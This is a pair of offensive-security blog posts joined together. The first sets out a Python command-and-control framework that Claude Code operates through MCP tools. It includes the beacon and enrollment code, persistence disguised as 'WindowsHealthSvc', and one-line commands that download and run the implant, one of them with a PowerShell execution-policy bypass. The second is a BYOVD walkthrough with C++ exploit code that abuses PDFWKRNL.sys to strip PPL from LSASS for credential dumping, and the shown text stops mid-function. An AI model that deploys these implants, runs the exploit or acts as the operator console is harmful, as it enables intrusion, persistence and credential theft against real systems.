📹 Full Video demonstration for all methods of using WebDav to bypass MOTW/Smartscreen/That “Other” Alert 😸: Video demonstration 📹

Sponsored By:

The idea sat in the back of my head for a while before I actually built it. I kept thinking it would be more complicated than it was. It wasn’t. A week of building out the Python code, a generously priced VPS ($5/mo!!!), a free Cloudflare account using a domain I already owned. That’s pretty much the whole bill of materials.

What came out of this project is yet another lightweight Python-based C2 from yours truly, but this time AI powered. Here’s what’s happening under the hood:

• Agents run on standard Python stdlib. Zero external dependencies. We download a zipped portable Python, unzip it, and we’re set!
• The VPS broker is a small Flask server backed by SQLite
• The whole thing is exposed over stable Cloudflare named tunnels secured with Cloudflare WAF rules
• Operator control happens through MCP tools directly inside Claude Code
• Bonus for subscribers: A PyQt6 GUI C2 console for point-and-click operation that also integrates with Claude outside of the terminal!

The end result: agents that beacon in from Windows and Linux targets, shell commands and file reads through natural language in Claude Code, and infrastructure that hides behind Cloudflare tunnels with stable hostnames. Let’s get going then shall we 😸

Why MCP as the Operator Interface?

This is the part that makes this setup different. Claude Code can connect to any MCP server and call its tools natively. When I expose my C2’s operator functions as MCP tools, I can type list_agents() or run_shell("target-hostname", "whoami") directly in a Claude Code conversation and get back output with full AI context. I can ask Claude to analyze results, chain commands, write scripts, and pivot. All without leaving the editor.

This isn’t “AI running my C2 autonomously.” It’s a tight integration where Claude has access to operator tools and I’m driving the session. Think of it like having the C2 client built into your IDE. 😸

It’s as easy as typing list_agents() and I immediately get a quick overview on what my agent landscape looks like:

I can even broadcast a message to all agents at once:

That’s just a very simplistic overview, but honestly, the sky’s the limit. All with the ease of using natural language to deliver tasks to each respective agent. 😺

Architecture Overview

[Agent on target]  -->  HTTPS beacon  -->  [Cloudflare Tunnel]
                                                    |
                                         [Flask listener on VPS]
                                                    |
                                           [SQLite task queue]
                                                    |
                                         [FastMCP server on VPS]
                                                    |
                                    [Cloudflare Tunnel (MCP endpoint)]
                                                    |
                                        [Claude Code on your machine]

Three moving parts:

• listener.py: Flask app on the VPS. Handles agent enrollment, beaconing, and task dispatch. Also manages the MCP subprocess lifecycle.
• svc.py: The agent. Runs on target machines. Phones home every second, executes queued tasks, returns results.
• remote_agent_server.py: FastMCP server. Exposes operator tools to Claude Code over HTTP.

Everything communicates over HTTPS through named Cloudflare tunnels, so the VPS IP is never exposed and hostnames never change even if the VPS reboots.

The VPS: IONOS Cloud

I went with IONOS for the VPS and it’s been solid. Their entry-level Linux VPS runs around $5/mo ($2/mo for first 3 months), which is hard to argue with for a dedicated C2 box. Setup is straightforward: pick a Linux distro (I went with Debian 12 Bookworm), IONOS hands you an IP and root SSH credentials, SSH in. That’s it.

A few things I liked about IONOS for this use case (not sponsored, I promise 😅):

• Static IP: VPS IP doesn’t change between reboots. Useful for SSH and ad-hoc access.
• No outbound port restrictions: Some cheap VPS providers block outbound HTTPS or throttle UDP. IONOS doesn’t, and the Cloudflare tunnel runs on HTTPS outbound.
• Easy firewall management: Simple inbound/outbound port rule configuration.
• No hidden costs: Seriously, I’m not kidding. I pay literally $5.03 /mo with no extras for bandwidth usage, disk IO, nothing additional. It’s a flat rate every month. It’s a barebones setup that isn’t a powerhouse by any stretch of the imagination, but it gets the job done.

Prerequisites for the Full Setup

• A VPS running Linux (Debian/Ubuntu recommended)
• A domain you control with Cloudflare as the DNS provider (free tier works)
• Python 3.10+ on the VPS
• cloudflared installed on the VPS
• Claude Code installed locally on main controller/attacker PC (desktop app or npm install -g @anthropic-ai/claude-code)

VPS initial setup:

apt update && apt upgrade -y
apt install -y python3 python3-pip git curl

pip3 install flask mcp uvicorn

curl -L https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 \
  -o /usr/local/bin/cloudflared
chmod +x /usr/local/bin/cloudflared

mkdir -p /root/remoteagents && cd /root/remoteagents

Cloudflare Named Tunnels

Named tunnels give us stable hostnames that survive VPS reboots and IP changes. Without them you get a random trycloudflare.com URL that changes on every restart, meaning you’d have to re-register with Claude Code and update agent configs constantly. Named tunnels fix that permanently.

We create three subdomains off a single tunnel: one for agent beaconing, one for the MCP server, and one for agent enrollment and file serving.

cloudflared tunnel login
cloudflared tunnel create remote-agent

Create ~/.cloudflared/config.yml:

tunnel: remote-agent
credentials-file: /root/.cloudflared/<your-tunnel-id>.json

ingress:
  - hostname: agent-vps.yourdomain.com
    service: http://localhost:8080
  - hostname: mcp-vps.yourdomain.com
    service: http://localhost:8765
  - hostname: init-vps.yourdomain.com
    service: http://localhost:8080
  - service: http_status:404

Route the DNS records:

cloudflared tunnel route dns remote-agent agent-vps.yourdomain.com
cloudflared tunnel route dns remote-agent mcp-vps.yourdomain.com
cloudflared tunnel route dns remote-agent init-vps.yourdomain.com

The listener and init endpoints both point to port 8080 but are routed by hostname. This split lets us apply different Cloudflare WAF rules to each. Agents can always reach /c2/beacon on agent-vps, but the MCP endpoint (mcp-vps) gets locked down to your operator IP only.

One cloudflared process handles all three subdomains from one outbound connection. The VPS has zero open inbound ports. No firewall rules to manage, no SSL certificates to renew. Cloudflare handles TLS termination at their edge.

Rather than running cloudflared as a separate service, listener.py spawns it in a background thread on startup, so when systemd starts the listener, the tunnel comes up with it automatically.

Shared Config (agent_config.py)

agent_config.py lives on the VPS at /root/remoteagents/agent_config.py and is the single source of truth for constants shared between listener.py and remote_agent_server.py:

AGENT_ID = "vps"

DOMAIN        = "yourdomain.com"
SECRET        = "change_this_to_a_long_random_string"
ENROLL_KEY    = "change_this_to_another_random_string"
MCP_PORT      = 8765
LISTENER_PORT = 8080

TUNNEL_NAME   = "remote-agent"
LISTENER_URL  = f"https://agent-{AGENT_ID}.{DOMAIN}"
MCP_URL       = f"https://mcp-{AGENT_ID}.{DOMAIN}"
INIT_URL      = f"https://init-{AGENT_ID}.{DOMAIN}"

Generate both secrets with: python3 -c "import secrets; print(secrets.token_urlsafe(32))"

SECRET authenticates every operator API call and every agent beacon. ENROLL_KEY gates access to the agent files served over HTTP (/svc.py, /install.py, /bootstrap.ps1). Agents never store SECRET or LISTENER_URL on disk. They only know INIT_URL and ENROLL_KEY. The real credentials are handed to the agent at runtime by the enrollment endpoint.

The Database Layer (broker_db.py)

broker_db.py is the connective tissue between the three processes that share state: the Flask listener, the MCP server, and any other tooling you add. All coordination goes through a single SQLite file on disk rather than an in-process message queue or IPC layer.

Why SQLite? A $5 VPS running a handful of agents has no need for a networked database server. SQLite with WAL mode (PRAGMA journal_mode=WAL) lets the listener and MCP server both query c2.db simultaneously without locking each other out. One file, zero configuration, survives a reboot without a service to restart.

Three tables:

• agents: upsert table. Each beacon writes the agent’s current hostname, OS, username, and IP. The last_seen timestamp determines online/offline status: anything that beaconed within the last 30 seconds is considered online.

• tasks: a queue with explicit status transitions. A task starts as pending, gets atomically moved to claimed when an agent picks it up via pop_tasks(), and becomes done when the result comes back. The atomic claim prevents a race where two rapid beacons both pick up the same task.

• results: stores output and exit code from each completed task, keyed by task_id. The MCP server polls this table every 500ms after queuing a task, waiting for the row to appear.

The flow end to end. When you type “run ipconfig on the Windows agent” in Claude Code:

1. MCP server calls queue_task(): inserts a row into tasks with status pending
2. Flask listener wakes the parked beacon via threading.Event
3. Agent’s next beacon calls pop_tasks(): atomically claims the row
4. Agent executes the command, bundles the result into the next beacon
5. Listener calls store_results(): inserts a row into results, marks task done
6. MCP server’s polling loop finds the result row and returns output to Claude Code

The entire round trip takes 1 to 2 seconds under normal conditions, entirely mediated by SQLite reads and writes.

The Flask Listener (listener.py)

listener.py is the core of the VPS side. It has three distinct responsibilities:

Agent enrollment (/init). Agents POST their ID plus an HMAC-SHA256 token derived from ENROLL_KEY. The listener verifies the HMAC and, if valid, hands back the real LISTENER_URL and SECRET. Nothing sensitive is stored on disk on the agent. If you burn an agent binary on a target, the attacker gets an enrollment key and a staging URL. Not your active C2 address. Rate limiting (60 enrollments per IP per hour) prevents /init from being hammered.

The beacon loop (/c2/beacon). This is the core C2 channel. Agents POST here carrying their system info plus completed task results. The listener writes metadata to SQLite, stores results, then checks for queued tasks. If there are none, it parks the request on a threading.Event for up to 15 seconds. This is long polling. When a task gets queued through Claude Code, ev.set() wakes the parked beacon immediately. Task delivery feels instant from the operator side while the agent only makes ~4 requests per minute instead of 60.

MCP subprocess lifecycle (/mcp/start, /mcp/stop, /mcp/status). The MCP server runs as a child process of the listener, started on demand via authenticated POST. Both processes share the same c2.db: the MCP server writes task rows, the listener delivers them on the next beacon. The MCP server can crash and restart without losing queued work.

Key routes at a glance:

The MCP Server (remote_agent_server.py)

This is what Claude Code talks to. It’s built on FastMCP. This is a decorator-based Python MCP framework that handles all the protocol plumbing.

Each operator tool is a decorated function. FastMCP registers it, generates the schema, and handles serialization:

mcp = FastMCP("c2-broker")

@mcp.tool()
async def run_shell(agent_id: str, command: str, timeout: float = 30) -> str:
    """Run a shell command on a remote agent and return the output."""
    return await _queue_and_wait(agent_id, "shell", {"command": command}, timeout=timeout)

The core mechanism is _queue_and_wait(). It writes a task to SQLite, then polls the results table every 500ms until the agent completes it or it times out:

async def _queue_and_wait(agent_id, task_type, payload, timeout=30):
    task_id = db.queue_task(agent_id, task_type, payload)
    deadline = asyncio.get_event_loop().time() + timeout + 10

    while asyncio.get_event_loop().time() < deadline:
        await asyncio.sleep(0.5)
        result = db.get_result(task_id)
        if result:
            return f"EXIT CODE: {result['exit_code']}\n{result['output']}"

    return f"Timeout: agent '{agent_id}' did not respond within {timeout}s."

The extra 10 seconds beyond the stated timeout accounts for beacon roundtrip latency.

The server wraps FastMCP’s ASGI app with a Bearer token middleware that checks the Authorization header on every request before anything reaches the MCP layer.

Full tool list:

Examples:

The Agent (svc.py)

The agent is built around one constraint: zero external dependencies. It uses only Python stdlib (urllib, subprocess, threading, time, json, platform). Drop it on any machine with Python 3.8+ and it runs.

Staged enrollment. On first startup the agent only knows INIT_URL and ENROLL_KEY. It derives an HMAC token from its unique agent ID and POSTs to /init:

def _get_c2_config(agent_id):
    token = hmac.new(ENROLL_KEY.encode(), agent_id.encode(), hashlib.sha256).hexdigest()
    resp  = _http_post(INIT_URL, {"agent_id": agent_id, "token": token})
    return resp["c2_url"], resp["secret"]

The listener verifies the HMAC and returns the real C2 URL and secret. The agent never writes these to disk. If the agent gets a 401 or 403 on a beacon, it automatically re-enrolls.

The beacon loop.

while True:
    with _results_lock:
        results = list(_pending_results)
        _pending_results.clear()
    try:
        resp  = beacon(results)
        tasks = resp.get("tasks", [])
        for task in tasks:
            threading.Thread(target=_run_task_thread, args=(task,), daemon=True).start()
        if tasks:
            _results_ready.wait(timeout=30)
            _results_ready.clear()
        else:
            time.sleep(BEACON_INTERVAL)
    except BaseException as e:
        _log(f"beacon error: {type(e).__name__}: {e}")
        time.sleep(backoff)
        backoff = min(backoff * 2, MAX_BACKOFF)

Two things here that are easy to miss. except BaseException (not Exception) is intentional. KeyboardInterrupt and SystemExit are not subclasses of Exception, so catching Exception only would silently swallow a Ctrl+C and keep the agent running. And the else: time.sleep(BEACON_INTERVAL) on the no-tasks branch is critical. Without it, when the long poll returns empty the agent hammers the beacon endpoint in a tight loop.

Results are bundled into the next beacon rather than making a separate HTTP call. Each beacon is one POST: check in, receive tasks, submit results from the previous cycle.

Single-instance lock. On Windows a named mutex prevents duplicate agents. On Linux, fcntl.flock() on a lock file does the same.

Task types the agent handles: shell, launch (detached background process), read_file, write_file, list_dir, shutdown, restart.

Persistence.

• Windows: auto-detects privilege level. Admin installs to C:\ProgramData\WindowsHealthSvc\ with an HKLM Run key. Standard user installs to %APPDATA%\WindowsHealthSvc\ with an HKCU Run key. Either way pythonw.exe (or the embedded python.exe) is used so there’s no console window.
• Linux: systemd service with Restart=always.

Running the Listener as a Service

Create /etc/systemd/system/c2-listener.service:

[Unit]
Description=C2 Listener
After=network.target

[Service]
WorkingDirectory=/root/remoteagents
ExecStart=/usr/bin/python3 /root/remoteagents/listener.py
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

systemctl daemon-reload
systemctl enable c2-listener
systemctl start c2-listener

Keep the MCP server auto-recovering if it drops after a listener restart:

cat > /root/remoteagents/ensure_mcp.sh << 'EOF'
#!/bin/bash
if ! pgrep -f remote_agent_server.py > /dev/null 2>&1; then
    curl -s -X POST http://localhost:8080/mcp/start \
        -H "Content-Type: application/json" \
        -d '{"secret":"your_secret_here"}' > /dev/null 2>&1
fi
EOF
chmod +x /root/remoteagents/ensure_mcp.sh
apt-get install -y cron && systemctl enable cron && systemctl start cron
(crontab -l 2>/dev/null; echo "* * * * * /root/remoteagents/ensure_mcp.sh") | crontab -

listener.py starts on every boot automatically and brings the Cloudflare tunnel up with it. The cron job ensures the MCP server recovers within a minute of any listener restart.

Deploying Agents

Linux / Raspberry Pi (as root):

curl -s "https://init-vps.yourdomain.com/install.py?enroll=your_enroll_key" | sudo python3

Windows (no Python required. Uses portable embeddable Python):

powershell -ep bypass -c "iex (iwr 'https://init-vps.yourdomain.com/bootstrap.ps1?enroll=your_enroll_key' -UseBasicParsing).Content"

The Windows bootstrap checks for an existing Python install first. If none is found it silently downloads the Python embeddable package (~10MB zip), extracts it locally, downloads svc.py, sets an HKCU Run key, and launches the agent. No MSI, no winget, no UAC prompt. Under 30 seconds on a decent connection.

Within 5 seconds of the agent starting you’ll see it appear in list_agents().

The agent generates a unique ID on first run (<hostname>-sys-<4 random chars>) and persists it to a local file so the ID stays stable across reboots.

Operating Without Claude

Before MCP mode, it’s worth knowing how to interact with the C2 directly. MCP and the GUI are conveniences. Underneath everything is a plain HTTP API you can hit from any terminal. This matters when we’re on a machine without Claude Code, scripting from a CI box, or just want to sanity-check the server is alive.

commander.py CLI

commander.py is a Python CLI that wraps the HTTP API. It runs on your operator machine (not the VPS) and only requires pip install requests.

Run a command directly on the VPS from your attacker machine (not on an agent. This runs on the VPS itself):

py commander.py execute "whoami"
py commander.py execute "ps aux"

Output:

[>] execute: whoami
[OK]
root

Example:

File transfer:

py commander.py download /root/remoteagents/c2.db
py commander.py upload new_svc.py /root/remoteagents/svc.py

MCP server lifecycle:

py commander.py mcp-start      # starts remote_agent_server.py on the VPS
py commander.py mcp-stop       # kills it
py commander.py mcp-status     # is it running?
py commander.py mcp-logs       # last 100 lines of MCP server log

Tasking Agents via curl

The agent tasking flow is two steps: queue a task, poll for the result. The task_id ties them together.

Queue a shell command:

curl -s -X POST https://agent-vps.yourdomain.com/c2/task \
  -H "Content-Type: application/json" \
  -d '{"secret":"your_secret_here","agent_id":"workstation-sys-ab12","cmd":"whoami"}'

{"status": "ok", "task_id": "3f8a1c2d-7e44-4b0a-91fc-abc123def456"}

Poll for the result:

curl -s "https://agent-vps.yourdomain.com/c2/results/workstation-sys-ab12?secret=your_secret_here&task_id=3f8a1c2d-7e44-4b0a-91fc-abc123def456"

{"status": "ok", "result": {"output": "workstation\\alice", "exit_code": 0}}

If the agent hasn’t beaconed yet you’ll get {"status": "pending"} just poll again in a few seconds.

List all registered agents:

curl -s "https://agent-vps.yourdomain.com/c2/agents?secret=your_secret_here" | python3 -m json.tool

Wiring Up Claude Code

Add the MCP server to Claude Code’s settings (~/.claude/settings.json):

{
  "mcpServers": {
    "remote-vps": {
      "type": "http",
      "url": "https://mcp-vps.yourdomain.com/mcp",
      "headers": { "Authorization": "Bearer your_secret_here" }
    }
  }
}

Start the MCP server on the VPS:

curl -s -X POST http://localhost:8080/mcp/start \
  -H "Content-Type: application/json" \
  -d '{"secret":"your_secret_here"}'

Then open Claude Code. The MCP tools appear automatically and are ready to use.

Daily Workflow (MCP Mode)

Once everything is running, operator sessions look like this in Claude Code:

> list_agents

Agents: 3 total, 2 online

AGENT ID                  HOSTNAME        OS           USER    IP              STATUS
--------------------------------------------------------------------------------------
workstation-sys-ab12      WORKSTATION     Windows 11   alice   192.168.1.10    ONLINE
server-sys-cd34           FILESERVER      Windows 11   SYSTEM  192.168.1.20    ONLINE
raspi-sys-ef56            raspberrypi     Linux 6.1    root    192.168.1.50    offline (142s ago)


> run_shell("workstation-sys-ab12", "whoami /priv")

EXIT CODE: 0
PRIVILEGE INFORMATION
Privilege Name                Description                    State
============================= ============================== ========
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
...

Because this is happening inside Claude Code, you can immediately follow up: “Which of those privileges are interesting for local privesc?” and Claude answers with full context of the output it just received. That continuous session context is the part that makes this feel genuinely different from a traditional implant framework.

After a Restart

listener.py and the Cloudflare tunnel come back automatically via systemd. The MCP server is on-demand, so:

py commander.py mcp-start
claude --resume

The stable tunnel URL means no re-registration. Agents reconnect on their next beacon cycle.

🎁 Bonus Content for Members! (All Tiers) 🎁

The Claude Skills.md file to setup everything covered in this Blog Post

Don’t want to trudge through all the source code? Just point this skill file to Claude and let Claude do all the heavy lifting for you! 😺

This will setup everything you need from start to finish. It’s very comprehensive and should make for an easy install

Claude Skills File

The C2 GUI

Code for the C2 PYQT GUI

Full transparency, I vibe coded this 😸

For situations where you want a point-and-click interface outside Claude Code, c2_console.py is a PyQt6 GUI that talks to the same listener.py HTTP API.

Agents appear in a tree view color-coded by status (gold for primary target, green for online, dim gray for offline). Right-click any agent for quick commands that auto-select the right variant for the platform – ipconfig /all on Windows, ip addr on Linux, etc.

The Ask Claude button is the part I’m most happy with. It opens a dialog with the current output pane pre-loaded as context. You type a question and it streams a response from claude -p directly into the dialog. Run tasklist, click Ask Claude, ask “Anything interesting here from a persistence or credential hunting perspective?” – instant analysis without copy-pasting.

What I’d Do Differently

A few things that would make this more production-hardened:

• Encrypted payloads: tasks and results are currently plaintext JSON. HTTPS handles transport encryption but payload-level encryption would protect against a compromised broker SQLite.
• Implant hardening: svc.py sits on disk in plaintext. For anything beyond a lab you’d want it packed or loaded from memory.
• The Obvious…Add More Commands!: I just threw this together to demonstrate the capabilities of Claude in managing a mimimal C2 setup. If I really grew this out more, I’d add privilege escalation, BOF options, etc.

Wrapping Up

Having Claude Code as your operator console means analysis, pivoting, and post-exploitation research all happen in the same context. You run a command, get output, ask a question about it, and follow up. All in one flowing session. That’s the part I didn’t fully anticipate when I started building this, and it’s the part I’d keep even if I ditched everything else.

All Source Code is in the repo, linked below. If you have questions drop them in the comments or hit me up on Discord

Source Code

Sponsored By:

Leaping ahead to 2026, the end goal remains the same, but the path to get there has shifted drastically. What was once a simple matter of tossing mimikatz onto a machine and scraping the freely available, cleartext wdigest creds, has become a more involved process. Now, we’re faced with a few unique but not all too unfamiliar challenges. Here are just a few off the top of my head:

• We need to evade or in some cases neutralize EDR ,though I’m of the opinion the latter is much noisier of an option
• Processes like the coveted LSASS now have PPL protection and the many usermode tools that can be used to bypass PPL are heavily signatured
• Many offsec tools are flagged in general and need to be ran in-memory, using many preferred techniques by yours truly such as an in-memory PE loader
• Vulnerable driver blacklists and HVCI

In cases like the one we’re facing, we traditionally would turn to BYOVD. Well, I can say not much has changed there, though we will need to get creative in either locating a completely new, undiscovered driver vulnerability. Or, you could be lazy like me and find a driver that has already been discovered and just use that, albeit a version that hasn’t been caught by the blocklist yet 😸

In today’s post, we will be uncovering the internals of kernel driver vulnerabilities and how to leverage them via the BYOVD (Bring Your Own Vulnerable Driver) method of attack. We will use kernel access to disable PPL for the LSASS process and then proceed to dump the process to disk, XOR’ing it beforehand so it avoids detection by popular EDR solutions. Let’s begin!

Finding a Signed Driver that’s not on the Microsoft Blocklist

I basically start at loldrivers.io or malshare.com and download a few drivers to see if they raised a flag concerning the Microsoft Vulnerable Driver Blocklist detection. Also just FYI, I have all the necessary security controls enabled beforehand that should prevent this particular driver from loading, such as:

I decided on PDFWKRNL.sys, which is vulnerable to a host of vulnerabilities such as a read and write memory primitive, thus making this driver a great candidate for overwriting our PPL value in LSASS to 0x00 effectively neutralizing PPL. You want to try out different versions of the vulnerable driver. I cannot stress that enough! Just because the driver is known by microsoft as a known flagged driver, doesn’t mean every working version will be flagged. That brings me to my next point: If we scroll down this page a bit, you’ll find the version of the driver with sha256 hash value: 6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402

PDFWKRNL.sys

That’s the driver I am using for this post that is yet to be flagged by Microsoft’s block list 😼 Credit where credit is due. I learned a lot from hfiref0x’s KDU repo: KDU

I tested a few drivers using that tool before I decided to produce my own code to load the vulnerable PDFWKRNL.sys driver. I admittedly borrowed from the previously discovered IOCTL code and symlink name for the driver, but then to better understand how this vulnerability was discovered, I took to binary ninja to explore for myself!

The Inner workings of PDFWKRNL.sys

Step 1 — Tracing IOCTL 0x80002014 through the dispatch table

We know from KDU’s previously researched info that the IOCTL code we are concerned with is 0x80002014. Let’s start with sub_140001000, which calculates both the IOCTL and the function that should be called based on a number of calculations we will explore below. Long story short: the IOCTL value is not in cleartext when reversing this driver 😸

Let’s start with how did we arrive at the 0x8000 value? Here’s how it works:

Windows IOCTL codes are structured 32-bit values built by the CTL_CODE macro:

• bits 31-16 device type (0x8000 here)
• bits 15-14 required access
• bits 13- 2 function code (the meaningful part)
• bits 1- 0 transfer method (buffered/direct/neither)

Moreover, we can see this info in Binary Ninja. That information, including the device name, just so happens to be in cleartext and doesn’t have to be deciphered!

So again…How did we arrive at value 0x8000 for the start of our IOCTL code?

Microsoft reserves device types below 0x8000 for official Windows device types (FILE_DEVICE_DISK, FILE_DEVICE_KEYBOARD, FILE_DEVICE_UNKNOWN, etc.).

Third-party vendors (like AMD) must use values 0x8000 and above for their custom device types. 0x8000 is the most common value used by many vendors for custom/software-only drivers. It’s essentially saying: “This is a vendor-defined device type”.

How about 0x2000 after the 0x8000?

Glad you asked 😺

This value is calculated, borrowing from the two’s complement of the constant in the instruction. This took me FOREVER to figure out which is kind of embarrassing and humbling for me lol!

The instruction is add eax, 0x7fffe000. Adding a constant is the same as subtracting its two’s complement negation:

~0x7fffe000 + 1 = 0x80001fff + 1 = 0x80002000

So add eax, 0x7fffe000 in 32-bit arithmetic is identical to sub eax, 0x80002000

Next, there’s the final 0x14. How did we arrive at that? That’s the case value we’re looking for that points to the memory write primitive!

Why this is a vulnerability?

There is zero validation. No ProbeForRead/ProbeForWrite, no canonical address check, no bounds check. Any process that can open \.\PdFwKrnl gets a ring-0 memmove with fully attacker-controlled src, dst, and size:

• Read primitive: dst = usermode buffer, src = any kernel VA → copies kernel memory to userspace
• Write primitive: dst = any kernel VA, src = usermode payload → overwrites arbitrary kernel memory

1400012ae                            sub_1400016c0(
1400012ae                                *(uint64_t*)((char*)MasterIrp + 0x10), 
1400012ae                                *(uint64_t*)((char*)MasterIrp + 0x18), 
1400012ae                                (uint64_t)MasterIrp[0xa]);
1400012b3                            arg2->IoStatus.Information = 0x30;

I am forever appreciative of the original research that went into discovering the IOCTL value. It would have taken me a very long time to discover that on my own, I can assure you 😸 But yeah, that’s the general breakdown on how this driver vulnerability plays out and why it’s a great candidate for BYOVD and removing PPL protection on LSASS. Now, on to the next best part, the code!

Code for the PPL Removal / Exploit Harness for PDFWKRNL.sys

It’s time for the highly anticipated code portion of this post! Let’s go head and get started. We will begin with defining the IOCTL value we wish to work with, as well as the 0x48 byte structure which is required for the IOCTL check. the 0x30 in the screenshot below is the buffer check of 0x30 or 48 in decimal, followed by the memcpy/memmove values!

mov r8d, dword [rsi+0x28]   ; size  ← BufAmdCopy.size   (32-bit read, upper 32 bits of u64 discarded)
mov rdx, qword [rsi+0x18]   ; src   ← BufAmdCopy.src
mov rcx, qword [rsi+0x10]   ; dst   ← BufAmdCopy.dst
call sub_1400016c0           ; memmove(dst, src, size)

Microsoft x64 calling convention: rcx=arg1, rdx=arg2, r8=arg3. This is exactly memmove(dst, src, size) with all three values coming unmodified from the usermode-supplied buffer. No sanitization between the jne and the call!

Now let’s plug those values into our code:

#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "psapi.lib")

// --- AMD PDFW (PdFwKrnl) Specifics ---
#define IOCTL_AMDPDFW_MEMCPY 0x80002014 //our IOCTL value

// This structure MUST be exactly 48 bytes
typedef struct _PDFW_MEMCPY {
    BYTE  Reserved[16];   // 0x00 - 0x0F
    PVOID Destination;    // 0x10 <--
    PVOID Source;         // 0x18 <--
    PVOID Reserved2;      // 0x20
    DWORD Size;           // 0x28 <--
    DWORD Reserved3;      // 0x2C
} PDFW_MEMCPY, * PPDFW_MEMCPY;

Next up, we need to find the kernel offsets for the version of Windows this driver would be running on. In my case, Windows 11 25h2. Here are the values I pulled, and I’ll also show how I retrieved them. It’s incredibly annoying having to debug in kernel mode, turning on debugging using bcdedit and restarting the machine. Let’s make life easier for ourselves. I just reverse engineer ntoskrnl.exe and do a static search for the _EPROCESS type. Easy peezy!

Our first two values are clearly visible! Next, just scroll down a bit to reach ImageFileNameOffset and then ProtectionOffset:

Now we just make our own struct to include those values, like so:

struct KernelOffsets {
    ULONG64 UniqueProcessIdOffset = 0x1D0;
    ULONG64 ActiveProcessLinksOffset = 0x1D8;
    ULONG64 ImageFileNameOffset = 0x338;
    ULONG64 ProtectionOffset = 0x5FA; // Offset for Build 26200
};

Ok that’s the part that a lot of people could use a refresher on. The next part I’m not going to spend as much time explaining. We basically setup the memory read and write functions.

HANDLE hDriver = INVALID_HANDLE_VALUE;
KernelOffsets Offsets;

// --- AMD PDFW Driver Communication ---

bool Amd_ReadMemory(DWORD64 Address, PVOID Buffer, DWORD Size) {
    PDFW_MEMCPY request;
    RtlSecureZeroMemory(&request, sizeof(request));

    request.Destination = Buffer;           // Where we want the data (our local buffer)
    request.Source = (PVOID)Address;        // Where the data is (kernel address)
    request.Size = Size;

    DWORD bytesReturned = 0;
    return DeviceIoControl(hDriver, IOCTL_AMDPDFW_MEMCPY, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL);
}

bool Amd_WriteMemory(DWORD64 Address, PVOID Buffer, DWORD Size) {
    PDFW_MEMCPY request;
    RtlSecureZeroMemory(&request, sizeof(request));

    request.Destination = (PVOID)Address;   // Where we want to write (kernel address)
    request.Source = Buffer;                // What we want to write (our local buffer)
    request.Size = Size;

    DWORD bytesReturned = 0;
    return DeviceIoControl(hDriver, IOCTL_AMDPDFW_MEMCPY, &request, sizeof(request), &request, sizeof(request), &bytesReturned, NULL);
}

// Helper wrapper for 64-bit reads
DWORD64 ReadMemoryDWORD64(DWORD64 Address) {
    DWORD64 val = 0;
    if (Amd_ReadMemory(Address, &val, 8)) return val;
    return 0;
}

Next up, we need to setup a function to locate the PsInitialSystemProcess Offset.

ULONG64 GetSystemEproc(ULONG64 ntosBase) {
    HMODULE ntos = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!ntos) return 0;
    DWORD64 addrInLocal = (DWORD64)GetProcAddress(ntos, "PsInitialSystemProcess");
    DWORD64 offset = addrInLocal - (DWORD64)ntos;
    FreeLibrary(ntos);

    std::cout << "[*] PsInitialSystemProcess Offset: 0x" << std::hex << offset << std::endl;
    return ReadMemoryDWORD64(ntosBase + offset);
}

Now for the obligatory main function, which includes an argument parameter for our LSASS pid and the file handle to our driver in question:

int main(int argc, char* argv[]) {
    if (argc < 2) {
        std::cout << "Usage: " << argv[0] << " <Target PID>" << std::endl;
        return 1;
    }
    DWORD targetPid = std::stoul(argv[1]);

    // Connect to Driver
    hDriver = CreateFileW(L"\\\\.\\Global\\PdFwKrnl", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hDriver == INVALID_HANDLE_VALUE) {
        std::cerr << "[-] Failed to open handle to PdFwKrnl. Error: " << GetLastError() << std::endl;
        return 1;
    }
    std::cout << "[+] Connected to AMD PDFW Driver." << std::endl;

We’re close now, basically at the home stretch! 😸 We just need to locate the kernel base ntoskrnl.exe and the EPROCESS address. Then, we need cycle through all the processes and locate LSASS!

 // Get Kernel Base
 ULONG64 ntosBase = 0;
 LPVOID drivers[1024];
 DWORD cb;
 if (EnumDeviceDrivers(drivers, sizeof(drivers), &cb)) ntosBase = (ULONG64)drivers[0];
 std::cout << "[*] ntoskrnl.exe Base: 0x" << std::hex << ntosBase << std::endl;

 ULONG64 systemEproc = GetSystemEproc(ntosBase);
 if (!systemEproc) {
     std::cerr << "[-] Failed to read System EPROCESS. Communication failed." << std::endl;
     return 1;
 }
 std::cout << "[+] System EPROCESS: 0x" << std::hex << systemEproc << std::endl;

 // Iterate Process List
 DWORD64 listHead = systemEproc + Offsets.ActiveProcessLinksOffset;
 DWORD64 currentFlink = ReadMemoryDWORD64(listHead);
 bool found = false;

 while (currentFlink != listHead && currentFlink != 0) {
     DWORD64 currentEproc = currentFlink - Offsets.ActiveProcessLinksOffset;
     DWORD64 pid = ReadMemoryDWORD64(currentEproc + Offsets.UniqueProcessIdOffset);

     if (pid == targetPid) {
         char name[16] = { 0 };
         BYTE prot = 0;
         Amd_ReadMemory(currentEproc + Offsets.ImageFileNameOffset, name, 15);
         Amd_ReadMemory(currentEproc + Offsets.ProtectionOffset, &prot, 1);

         std::cout << "[+] Found Target: " << name << std::endl;